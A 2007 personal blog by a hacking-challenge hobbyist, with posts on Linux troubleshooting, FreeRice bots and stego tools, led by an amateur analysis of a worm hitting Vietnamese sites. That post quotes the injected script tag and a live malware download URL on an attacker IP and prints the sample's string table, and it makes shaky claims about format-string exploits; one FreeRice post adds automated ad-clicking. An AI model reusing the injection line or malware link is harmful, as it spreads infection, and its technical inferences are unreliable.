Monday, December 24, 2007

Virus again? Damn it!

In the last few days there was an attack from a Chinese hacker to computer networks in Vietnam. When surfing the Internet, especially on Vietnamese websites, many people see advertisements of Chinese websites roaming around the pages. There's a rumour going around that this attack is related to the recent clash between China and Vietnam over some islands, but I'm in no position to discuss about it :P

Anyway, as a patriot, I decided to make everything clear once and for all. By checking the source code of the pages, I found the following piece of code "injected" on the pages:

<script src=http://121.15.220.104/1.js></script>
I came to a conclusion that this was a man-in-the-middle attack, in which the hacker pwnzored a node somewhere between the victim computers and the host, and filtered the content on-the-fly. After doing some research on Google, I found that this was done with a virus that attacked a computer, then turned it into a gateway by faking the MAC address, and then filtered everything that went through it (this method is called ARP spoofing). Also I found a program that was probably the evil thing spreading the virus over the network: http://121.15.220.104/Setup.exe.

I decided to have a look at it. After some unpacking, I was able to load in under OllyDbg. You would be amazed to see the String table:
Address    Disassembly                               Text string
004016B4 PUSH Setup.0040B058 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004016C5 PUSH Setup.0040B054 ASCII " ""
0040175E PUSH Setup.0040B04C ASCII "\*"
004017E4 PUSH Setup.0040B040 ASCII ".."
004019C6 MOV EDI,Setup.0040B100 ASCII "%c%c%c"
00401AC1 PUSH Setup.0040B040 ASCII ".."
00401B24 PUSH Setup.0040B0F8 ASCII "360"
00401B3A MOV EAX,Setup.0040B0F4 ASCII "AD"
00401BAB MOV EAX,Setup.0040B0F0 ASCII "GO"
00401C45 PUSH Setup.0040B0EC ASCII ".js"
00401CC6 PUSH Setup.0040B0E8 ASCII "exe"
00401D2A PUSH Setup.0040B0E4 ASCII "\~"
00401E4A PUSH Setup.0040B0E0 ASCII "rar"
00401E5E PUSH Setup.0040B0DC ASCII "zip"
00401E9E CMP DWORD PTR SS:[EBP-1EC],500000 ASCII "Actx "
00401EE1 PUSH Setup.0040B0D4 ASCII "\bak\"
00401F5F PUSH Setup.0040B0CC ASCII " X ""
00401F6A PUSH Setup.0040B0C8 ASCII "" ""
00401F95 PUSH Setup.0040B0B4 ASCII "" -r -inul -ibck -y"
0040203C PUSH Setup.0040B0D4 ASCII "\bak\"
004020BE PUSH Setup.0040B0D4 ASCII "\bak\"
00402108 PUSH Setup.0040B0AC ASCII " A ""
00402113 PUSH Setup.0040B0C8 ASCII "" ""
00402138 PUSH Setup.0040B084 ASCII "*.*" -r -inul -ibck -y -m0 -df -ep -ep1"
00402230 PUSH Setup.0040B080 ASCII "ddd"
00402285 PUSH Setup.0040B0D4 ASCII "\bak\"
0040255D PUSH Setup.0040B11C ASCII "^|"
004025B0 PUSH Setup.0040B10C ASCII "cmd.exe /c ""
0040279B PUSH Setup.0040B120 ASCII "%c:\"
00402974 PUSH Setup.0040B284 ASCII "ieframe"
00402988 PUSH Setup.0040B274 ASCII "cabinetwclass"
0040299C PUSH Setup.0040B25C ASCII "mozillauiwindowclass"
004029B0 PUSH Setup.0040B254 ASCII "metapad"
004029C5 PUSH Setup.0040B24C ASCII "dr.web"
004029DB PUSH Setup.0040B244 ASCII "avg "
00402A03 PUSH Setup.0040B230 ASCII "tapplication"
00402A27 PUSH Setup.0040B220 ASCII "AfxMDIFrame42s"
00402A3A PUSH Setup.0040B218 ASCII "360safe"
00402A50 PUSH Setup.0040B218 ASCII "360safe"
00402A66 PUSH Setup.0040B210 ASCII "360anti"
00402A7C PUSH Setup.0040B208 ASCII "afx:"
00402AAB MOV EDI,Setup.0040B200 ASCII "#32770"
00402AD2 PUSH Setup.0040B1E8 ASCII "thunderrt6main"
00402AF8 PUSH Setup.0040B1E0 ASCII "antivir"
00402B3A PUSH Setup.0040B1C8 ASCII "kvxp"
00402BC4 PUSH Setup.0040B198 ASCII "thunderrt6formdc"
00402BDE PUSH Setup.0040B188 ASCII "ThunderRT6Timer"
00402BF1 PUSH Setup.0040B180 ASCII "ewido"
00402C07 PUSH Setup.0040B178 ASCII "escan"
00402C1D PUSH Setup.0040B170 ASCII "mcagent"
00402C7E PUSH Setup.0040B158 ASCII "bitdefender"
00402C99 PUSH Setup.0040B148 ASCII "facelesswndproc"
00402D3A PUSH Setup.0040B130 ASCII "##vso##"
00402D4D PUSH Setup.0040B128 ASCII "avast"
00402E58 PUSH Setup.0040B0E8 ASCII "exe"
00402FAE PUSH Setup.0040B9C0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403005 PUSH Setup.0040B9A4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403046 PUSH Setup.0040B96C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403057 MOV EDI,Setup.0040B968 ASCII "XOR"
00403098 PUSH Setup.0040B200 ASCII "#32770"
00403122 PUSH Setup.0040B960 ASCII "xxpin"
004031C5 PUSH Setup.0040B8B0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032A4 PUSH Setup.0040B7D4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032FC PUSH Setup.0040B96C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403323 PUSH Setup.0040B7C8 ASCII "%c%c%c%c%c"
00403355 PUSH Setup.0040B7B4 ASCII "%c%c%c%c%c%c%c%c%c"
00403385 PUSH Setup.0040B7A0 ASCII "%c%c%c%c%c%c%c%c"
0040342C PUSH Setup.0040B744 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004034A2 PUSH Setup.0040B738 ASCII "%s\cmd.exe"
004034D7 PUSH Setup.0040B730 ASCII "%s\com"
004034F1 PUSH Setup.0040B728 ASCII "%s\%s"
0040352D PUSH Setup.0040B718 ASCII "pagefile.pif"
00403544 PUSH Setup.0040B708 ASCII "CabinetWClass"
00403897 PUSH Setup.0040B688 ASCII "%c%c%ct%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004038D3 PUSH Setup.0040B678 ASCII "Common Startup"
004038F9 PUSH Setup.0040B728 ASCII "%s\%s"
00403989 PUSH Setup.0040B61C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004039F2 PUSH Setup.0040B614 ASCII ".exe"
00403AA0 PUSH Setup.0040B5DC ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403B14 PUSH Setup.0040B614 ASCII ".exe"
00403B6E PUSH Setup.0040B5D0 ASCII "\rar.exe"
00403B73 PUSH Setup.0040B5C4 ASCII "\winrar.exe"
00403C0C PUSH Setup.0040B544 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403CA2 PUSH Setup.0040B4F0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403D19 PUSH Setup.0040B4E4 ASCII " /e /t /g "
00403D3A PUSH Setup.0040B4E0 ASCII ":F"
00403D52 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403D7F PUSH Setup.0040B4BC ASCII " /e /t /g Everyone:F"
00403D93 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403DCC PUSH Setup.0040B4E4 ASCII " /e /t /g "
00403DF1 PUSH Setup.0040B4E0 ASCII ":F"
00403E09 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403E72 PUSH Setup.0040B4BC ASCII " /e /t /g Everyone:F"
00403E8A PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403EDB PUSH Setup.0040B4E4 ASCII " /e /t /g "
00403F00 PUSH Setup.0040B4E0 ASCII ":F"
00403F18 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00403F81 PUSH Setup.0040B4BC ASCII " /e /t /g Everyone:F"
00403F99 PUSH Setup.0040B4D4 ASCII "cacls.exe"
00404053 PUSH Setup.0040B4B0 ASCII "\ntfsus.exe"
004040BC PUSH Setup.0040B4AC ASCII "pac"
00404190 PUSH Setup.0040B4A8 ASCII " ^"
00404212 PUSH Setup.0040B614 ASCII ".exe"
0040424F PUSH Setup.0040B49C ASCII ".exe.log"
0040426C PUSH Setup.0040B4A8 ASCII " ^"
004042EE PUSH Setup.0040B494 ASCII "%s.~"
004042FF PUSH Setup.0040B48C ASCII "%s.exe"
0040436D MOV EDI,Setup.0040B484 ASCII ".log"
0040444D PUSH Setup.0040B47C ASCII "\netc"
0040445E PUSH Setup.0040B474 ASCII "fg.000"
0040446B PUSH Setup.0040B468 ASCII "\netcfg.dll"
004044A8 PUSH Setup.0040B464 ASCII "#32"
004044B5 PUSH Setup.0040B460 ASCII "770"
00404569 PUSH Setup.0040B450 ASCII "CNJBlaipbofF"
004045BE PUSH Setup.0040B438 ASCII "%c%c%c%c%c%c%c%c%c%c%c"
004045F3 PUSH Setup.0040B120 ASCII "%c:\"
004046B0 PUSH Setup.0040B414 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004046D7 PUSH Setup.0040B728 ASCII "%s\%s"
00404744 PUSH Setup.0040B408 ASCII "%s\boot.ini"
00404822 PUSH Setup.0040B400 ASCII "\bak"
0040489A PUSH Setup.0040B3E0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004048B8 PUSH Setup.0040B728 ASCII "%s\%s"
004048F1 PUSH Setup.0040B7A0 ASCII "%c%c%c%c%c%c%c%c"
0040490C PUSH Setup.0040B728 ASCII "%s\%s"
00404949 PUSH Setup.0040B3C8 ASCII "%c%c%c%c%c%c%c%c%c%c"
00404973 PUSH Setup.0040B728 ASCII "%s\%s"
004049BA PUSH Setup.0040B400 ASCII "\bak"
004049DB PUSH Setup.0040B400 ASCII "\bak"
00404A15 PUSH Setup.0040B400 ASCII "\bak"
00404A60 PUSH Setup.0040B9C0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00404B7A PUSH Setup.0040B2AC ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%"...
00404EE6 PUSH Setup.0040BA38 ASCII "ping.exe -f -n 1 www.baidu.com"
00405004 PUSH Setup.0040BA5C ASCII "rb"
00405077 PUSH Setup.0040BA5C ASCII "rb"
00405117 PUSH Setup.0040BA58 ASCII "wb"
00405229 MOV DWORD PTR SS:[ESP],Setup.0040BA5C ASCII "rb"
00405648 MOV DWORD PTR SS:[ESP],Setup.0040BA5C ASCII "rb"
00405669 PUSH Setup.0040BA58 ASCII "wb"
0040578F PUSH Setup.0040BA60 ASCII "cmd.exe /c del /F /Q ""
00405800 PUSH Setup.0040BA58 ASCII "wb"
004059E7 PUSH Setup.0040B438 ASCII "%c%c%c%c%c%c%c%c%c%c%c"
00405A38 PUSH Setup.0040B7B4 ASCII "%c%c%c%c%c%c%c%c%c"
00405A52 MOV ESI,Setup.0040BB9C ASCII "
"
00405A87 PUSH Setup.0040B414 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405AD1 PUSH Setup.0040BB70 ASCII "%c%c%c%c%c%c%c%c%c%c%c%s%s%c%c%c%c"
00405B2E PUSH Setup.0040BB30 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405B79 PUSH Setup.0040BB04 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405BD6 PUSH Setup.0040BAC0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s%s%s%s%c%c%c%c"
00405C37 PUSH Setup.0040BA78 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405D5C PUSH Setup.0040BBA0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00405EDF PUSH Setup.0040B120 ASCII "%c:\"
00405F11 MOV EBP,Setup.0040B400 ASCII "\bak"
0040602B PUSH Setup.0040B438 ASCII "%c%c%c%c%c%c%c%c%c%c%c"
0040606C PUSH Setup.0040BBA0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00406099 PUSH Setup.0040B120 ASCII "%c:\"
00406241 PUSH Setup.0040BE90 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040628F PUSH Setup.0040B3E0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406391 PUSH Setup.0040BDE4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406476 PUSH Setup.0040BD30 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406553 PUSH Setup.0040BDE4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406634 PUSH Setup.0040BD30 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004066FD PUSH Setup.0040BC9C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004067BD PUSH Setup.0040BE90 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406814 PUSH Setup.0040BC74 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040690C PUSH Setup.0040BBD4 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406950 MOV EDI,Setup.0040BBCC ASCII "Type"
0040696D MOV EBX,Setup.0040BBC4 ASCII "radio"
004069E2 PUSH Setup.0040BBBC ASCII "IEFrame"
00406A43 PUSH Setup.0040B9C0 ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406B62 PUSH Setup.0040BF0C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CA3 PUSH Setup.0040BF3C ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CB4 PUSH Setup.0040B968 ASCII "XOR"
004073DB SUB ESP,68 (Initial CPU selection)
00407539 PUSH 10000 UNICODE "=::=::\"
I can tell this virus is really dangerous. It kills every anti-virus program you have in an instant. The existence of those %c shows that it is using a buffer overflow/format string exploit, which is very effective against a naive operating system like Windows. It also opens some ports on your computer: 135, 139, 445, 1026, and 5152.

As I'm running out of time for tonight, let's leave the detailed analysis of the virus for later, and get to the removal instruction. If you have a look at the running processes under Security Task Manager, you'll see that the virus is faking the name of lsass.exe and smss.exe, with similar ones in C:\Windows\system32\com\. Also it probably wants to hijack your browser with ljjijgf.dll in C:\Windows\system32\ too. Get rid of them and you're safe :)

Update: as discovered by my little brother, you need to get rid of 2 other fake files: rar.exe and alg.exe somewhere in the Windows directory too.

Update2: the virus has been identified as W32.Dashfer.Worm by BKIS. You can get BKAV to wipe the virus away from your computer.

And finally, some images for your curious eyes:

Saturday, December 15, 2007

Mandriva 2008.1

There hasn't been any post for quite a while, although I have been taming the penguin quite well :)

The nasty bug with rpm has finally been solved. It turned out to be some kernel problem. The unofficial solution was to reboot under the old 2.6.17 and rebuild the db. If that still doesn't work for you, you should continue reporting it at the Mandriva Bugzilla.

So I have been having a real stable system for a few months, and today I was really surprised to find out that the first alpha version of 2008.1 has been released. That was incredibly fast compared to the delay in 2008.0. It comes with KDE 4 RC2 that everyone has been longing for. Recently I've heard that KDE 4 not only had a better look & feel and cool new features, but it also provided better performance too :)

Time to update to the new version and see how it works :)

Friday, December 14, 2007

Linux cracking live demonstration

Just experienced a real cool live demonstration of Linux cracking given by rhican :) With his 1337 skills, he showed me how to solve smashthestack io level 5. And believe it or not, just the little screen command was enough to deliver all the rich user experience that you will need to abuse webcams, videos or remote desktop on Windows to achieve.

What more can I say? Well, I have been trying to tame the penguin for years, but no matter how much I know, I was still surprised to see how powerful Linux can be when controlled by a power user.

Obviously the demonstration was much better than the lame hacking videos that some noobs uploaded to YouTube just for some fake feeling of uberness.

Time to finish more challs and reach another level of the Unix hacker hierarchy!

Saturday, December 1, 2007

Java applet tutorial

Hey guys,

Remember the Java applet tutorial that I promised months ago?

I have been working on it for the last few months, and finally when I noticed there were too many things to cover, I decided to start a blog for it. The blog name is the same as my famous Java applet series - "quangntenemy teaches Java". You can access it at http://qtjava.blogspot.com.

The tutorial is not complete yet, but for now it should help you get started with the easy challs. More interesting lessons, together with tips and tricks will come soon.

If you have any questions, comments and suggestions about Java challs, or anything Java-related, do not hesitate to leave a comment there.

What about things other than Java, you might ask? Just to let you know, I have been starting a new team blog: WeChall at http://wechall.blogspot.com. At the moment I have recruited theAnswer, Gizmore and Unhandled to the team. Hopefully the blog will provide everything you need for the challenger world: from reviews on the cool challenge sites, to online resources, tools, and tips and tricks from the top challengers.

Feel free to visit WeChall and share your knowledge!

Sunday, November 18, 2007

FreeRice continued

Hey guys, it's the FreeRice story again.

Another Ruby developer, Dave Troy, sent his computer on the quest of feeding more people, by creating a multi-threaded bot that sends 50 requests simultaneously.

I, on the other hand, was trying to make my bot behave ;) Another feature was added - adclicking. Now you can configure the bot to play nice by setting click to true in freerice.properties. At the moment the bot can only 'click' the sponsor ads. The Google ads were kinda complicated - blame Google for that - so I'll leave them untouched for now :P

FreeRice AssistantAnother cool feature is the FreeRice Assistant. Now users who don't like botting can still use this little utility
to lookup words to improve their results and donate more rice. Kinda cool huh? :)


If you like the new features, just come and get the bot from here.

Saturday, November 17, 2007

Wikipedia

Hey guys,

Today while browsing the articles at wikipedia, I did a quick search for our favourite game - wargames, hacker games, computer-based challenges, or whatever it is called, and noticed that there's still no article for it.

I remember discussing with other challengers about it a few years ago on our favourite IRC channel. While many agreed with the idea, no work has been done so far. Only until recently, the game has been added as an open link:

A game of computer security, popularized by Hackerslab.org and the DEF_CON hacker convention. See Wargames (Computer Security).

So guys, what are you waiting for? Let's start filling it with an article about our favourite game :)

Any idea? Join our discussion at TBS forum.

Wednesday, November 14, 2007

Steganabara project page

Hey guys,

Finally I defeated my laziness and created a project page for Steganabara. It is located here.

There you can find a brief view of the key features, watch and download the latest versions.

Time to finish those evil bara's challenges now. And if you have any idea for improving the tool, feel free to contact me :)

Tuesday, November 13, 2007

FreeRice IRC Bot

I just added another bot to the project - an IRC bot.

Let this bot run on your IRC channel, play with it, and help donate rice to poor people.

Grab a copy of the bot from here.

Sunday, November 11, 2007

FreeRice

If you have been a regular visitor to irc.idlemonkeys.net, probably you have heard about FreeRice, a website that donates rice to poor people in the world.

The rule is simple: for each word you get right, 10 grains of rice is donated to help end world hunger.

During the conversation on #hackquest, some of the geeks showed the desire to save humanity by creating a learning bot (to be exact, a memorizing bot) that plays the game and helps donate the rice. SilentNutcracker and alt3rn4tiv3 started the first implementation of the game. It is built on top of php, curl and mysql.

As a super botter, I could not let them enjoy the fun alone. So I created a similar bot, written in Java. You can grab a copy from my website.

Unlike their version, my bot uses serialized data, without any need for a DBMS. So you only need JRE 5 to get the bot up and running :)

However, I've always been wondering, does botting really help donating rice? I guess that's only true to a certain extend. If too many people launch the bot, it'll be no different from a DDOS attack, and the FreeRice people surely won't like it. So you might want to adjust some settings in freerice.properties to make sure that the bot won't hurt the server too much :P

Tuesday, October 30, 2007

Geb! Finally!

Yeah, finally solved the Geb challenge at rankk and finished the sacred journey, after months working on it :)

It was well worth the effort. The challenge was really enjoyable, and surely the most interesting challenge at rankk. It's just wonderful no matter how much you try, there are still something new and interesting to learn somewhere in the wilderness.

And finally, the Geb secret has been unraveled! I would like to share it with you guys but probably it'd be better if you figure it out all by yourselves :P Don't worry, if you ever need help on your way, some of the tools I created might help you ;)

Monday, October 29, 2007

Steganabara new release - 1.1.0

Hey guys,

Finally Steganabara has been improved - 1.1.0 now :)

The zoom feature has been added, finally!
The BitMask filter now has an amplify option, which will make the result easier to view for human eyes.
The color table now displays the hex values instead of the meaningless integer ones.
The color explorer now also displays the coordinates and the hex values.
And all the features are now compatible with all image panels.

You can get the binaries together with source code here: http://www.freewebs.com/quangntenemy/steganabara/Steganabara-1.1.0.tar.gz.
As I am a bit lazy atm the ready to run jar file will be updated later.

Also stay tuned for the detailed documentations.

Tuesday, October 23, 2007

Rankk interview

I was interviewed by Sphinx a few days ago, and now the interview is published at Rankk's blog. I feel honoured :) Check it out guys!

Maybe in the next few weeks you can find the interviews with valsa and Sapr0 there.

And of course if you want to know more about me, find me at irc.idlemonkeys.net on a nice saturday evening :)

Sunday, October 21, 2007

CryptoBox

Been updating the CryptoBox today. I just can't believe how dusty the code has been. No new feature has been added yet, but the code has undergone a big Java 5 update.
The official version will be released soon :)
Oh and if you're wondering about the applet tutorial, it's not ready yet. But I promise it'll be out before new year :P

Friday, October 12, 2007

Migrating to 2008.0

Mandriva 2008.0 official was out last week, so time for me to start migrating to it :)

Downloaded the 3-CD isos, burned them with k3b, and I was ready to go.

To my experience, the installer hasn't been improved any since beta 1. It was still incredibly slow. Froze for a few minutes trying to determine the package list. And the estimated time for upgrading was 4 hours! While the packages were installed, I needed to switch the CDs dozens of times - guess things would be easier if I had a DVD burner, but really not everyone has one.

Finally, after about 1 hour and a half, installation finished. I was taken to the configuration screen. Having installed Linux many times, it didn't take long for me to finish setting everything up and ready for the first boot of the new system.

On the first boot, I wasn't surprised to see the lilo bootloader in text mode instead of the nice graphical one. It has been removed since 2007.1, and there's no chance for it to come back in 2008.0, I guess :P

I was then taken to the login screen. Well, it was quite nice with a new fancy theme. I logged into KDE, my favourite desktop environment. And... things go black and I was taken back to the login screen. Wtf???

Good thing I have fluxbox installed as an alternative desktop. Logged in without any problem, I started wandering the wilderness to find the solution to my problems. Found the following lines in my kdm.log:

Backtrace:
0: /etc/X11/X(xf86SigHandler+0x85) [0x80c46e5]
1: [0xffffe420]
2: /usr/lib/xorg/modules//libexa.so(ExaOffscreenMarkUsed+0x69) [0xb7aa70b9]
3: /usr/lib/xorg/modules//libexa.so(exaDoMigration+0x597) [0xb7aa6ff7]
4: /usr/lib/xorg/modules//libexa.so [0xb7aa46d6]
5: /etc/X11/X(miFillGeneralPoly+0x4f5) [0x812ad85]
6: /etc/X11/X(miFillPolygon+0x62) [0x812a322]
7: /etc/X11/X [0x8174f82]
8: /etc/X11/X(ProcFillPoly+0x10a) [0x808666a]
9: /etc/X11/X [0x81532bd]
10: /etc/X11/X(Dispatch+0x1af) [0x8089d6f]
11: /etc/X11/X(main+0x465) [0x8071025]
12: /lib/i686/libc.so.6(__libc_start_main+0xe0) [0xb7c9bf90]
13: /etc/X11/X(FontFileCompleteXLFD+0x1e5) [0x80703a1]

Fatal server error:
Caught signal 11. Server aborting
While roaming around finding the solution, I noticed that X crashed even when I start other gtk-based applications like rpmdrake, harddrake, GIMP, ekiga. Totally lost, I posted my problem at http://forum.mandriva.com, hoping that anyone there could provide any idea that could help me solve the problem.

Life without everyday applications was a real pain. While trying to fix the problem, I ran into another nasty bug with rpm:
error: Runnning db->verify ...
rpmdb: PANIC: fatal region error detected; run recovery
error: db4 error(-30975) from dbenv->open: DB_RUNRECOVERY: Fatal error, run database recovery
This nasty bug is being tracked down by pixel at http://qa.mandriva.com/show_bug.cgi?id=32547. If you stumble upon it, be sure to report the bug there and help us identify the problem. In the meantime, you can use the following commands to fix the rpm database temporarily:
rm -f /var/lib/rpm/__db*
rpm --rebuilddb
Have been messing with my penguin box for so long, I didn't have any trouble getting into sleep that night, and luckily without any nightmares :P

Waking up the next morning, I decided to jump into the official mandriva irc channel at irc://irc.freenode.net/#mandriva and had a nice chat with the guys there. Finally, after gathering all the relevant ideas, I decided to replace the xorg.conf file with the old one I backed up months ago. Fortunately, this completely solved the problem!

So it turned out that x have been misconfigured somehow. I wonder if it was me who picked the wrong video card/monitor/keyboard/mouse..., or the hardware detection wasn't good enough - never had this problem before. Anyway, I had enough problems with x that I wouldn't want to compare the 2 config files to find out which line was causing the all the troubles.

Time to give the damn penguin a real torture now :P

Friday, September 28, 2007

Website update :)

Hey guys, have a look at my homepage! It has been updated once again :)

You might want to claim that it's not as colorful as the old version, but believe me it's better :P I have put a lot of thoughts into that. The site looks very elegant now and has better support for accessibility. It's also optimized for every browser and small screen devices. And it's gradually adopting CSS3, which will be the open standard soon.

In the next few days (or weeks, or even months :P), you'll see more updates. Elimination of broken links, new updates for the CryptoBox, Steganabara, the bbq project, and hopefully a cool applet tutorial :)

Stay tuned!

Waiting for 2008

Hey guys,

2008.0 was scheduled to be released on 27 September, but there were so many critical bugs that it hasn't been out yet. That's no surprise to me as there have been so many delays to the older versions. A bit disappointed, but I'd rather wait than getting an unstable release.

In the meantime I'll tell you how I could move the big DVD isos from one computer to another with just a 2GB USB flash. It's really easy with the following wonderful linux (or rather, unix) commands:

- split: This command helps you split a file into smaller files of equal sizes. The most important option is -b which specifies the file size, with the following multiplier suffixes: b for 512, k for 1K, m for 1 Meg. The beta2 DVD iso was 3.1GB, so I splitted it into 2 files of 1600M each:


split -b 1600m mandriva-linux-2008.0-free-beta2.i586.iso

This command will produce 2 files named xaa and xab.

- cat: Not only help you view the file content, this command also joins files together. It is pretty easy to use:

cat xaa xab > mandriva-linux-2008.0-free-beta2.i586.iso

With just 2 commands you can probably get everything. But as the files are pretty big you should use checksums to make sure there's no error in transmission. Linux provides 2 common checksum tools: md5sum and sha1sum. md5sum is faster and enough for everyday use.

PS. There's this really cool sourceforge project that provides ports of many common unix tools for Windows: http://unxutils.sourceforge.net/. Long live the penguin empire :D

Monday, September 17, 2007

quangntenemy teaches java 2 is up!

It must be my lucky day. The jackpot is up at rankk, and now qtj2 has finally been published at tbs too. This second challenge of the qtj series will teach you about object oriented programming in Java.

With 2 challenges being published the same day, I only have a "few" things left to do. The applet tutorial has been pending for so long. And some changes need to be made to "Message Me" to make it solvable. Then some more updates to my website, Steganabara, CryptoBox and of course the bbq project ;)

Stay ready for all the good news ;)

New applet chall! The jackpot

